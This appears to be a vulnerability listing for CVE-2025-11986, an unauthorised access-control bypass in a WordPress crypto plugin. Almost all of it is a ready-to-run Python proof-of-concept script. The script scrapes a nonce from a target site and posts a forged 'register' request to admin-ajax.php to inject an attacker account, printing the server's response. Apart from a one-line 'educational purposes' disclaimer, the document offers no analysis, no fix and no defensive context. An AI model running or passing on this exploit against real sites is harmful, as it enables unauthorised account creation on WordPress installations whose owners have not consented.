CVE-2025-11986 WordPress Crypto插件未授权访问控制绕过漏洞

#!/usr/bin/env python3 """ CVE-2025-11986 PoC - WordPress Crypto Plugin Unauthorized Access Control Bypass Note: This PoC is for educational and security testing purposes only. """ import requests import re import sys from urllib.parse import urljoin def get_nonce(target_url): """Extract nonce from the target WordPress site""" try: response = requests.get(target_url, timeout=10) # Look for wpCreateNonce or crypto-related nonces nonce_patterns = [ r'nonce\s*[=:]\s*["\']([a-zA-Z0-9]+)["\']', r'cryptoConnectNonce\s*[=:]\s*["\']([a-zA-Z0-9]+)["\']', r'ajaxnonce\s*[=:]\s*["\']([a-zA-Z0-9]+)["\']' ] content = response.text for pattern in nonce_patterns: match = re.search(pattern, content) if match: return match.group(1) return None except Exception as e: print(f"[-] Error fetching nonce: {e}") return None def exploit_crypto_plugin(target_url, nonce=None): """Send malicious request to bypass authentication""" endpoint = urljoin(target_url, '/wp-admin/admin-ajax.php') # Prepare the malicious payload data = { 'action': 'crypto_connect_ajax_process', 'sub_action': 'register', 'nonce': nonce or 'dummy', 'wallet_address': '0x' + 'A' * 40, 'signature': 'malicious_signature', 'email': '[email protected]', 'username': 'attacker_injected' } try: print(f"[*] Sending exploit request to {endpoint}") response = requests.post(endpoint, data=data, timeout=10) if response.status_code == 200: print(f"[+] Request sent successfully") print(f"[*] Response: {response.text[:500]}") return True else: print(f"[-] Request failed with status {response.status_code}") return False except Exception as e: print(f"[-] Error during exploitation: {e}") return False def main(): if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} <target_url>") print(f"Example: python3 {sys.argv[0]} http://example.com") sys.exit(1) target = sys.argv[1].rstrip('/') print(f"[*] Target: {target}") print(f"[*] Extracting nonce...") nonce = get_nonce(target) if nonce: print(f"[+] Found nonce: {nonce}") else: print(f"[*] Using default nonce or proceeding without it") print(f"[*] Launching exploit...") exploit_crypto_plugin(target, nonce) if __name__ == '__main__': main()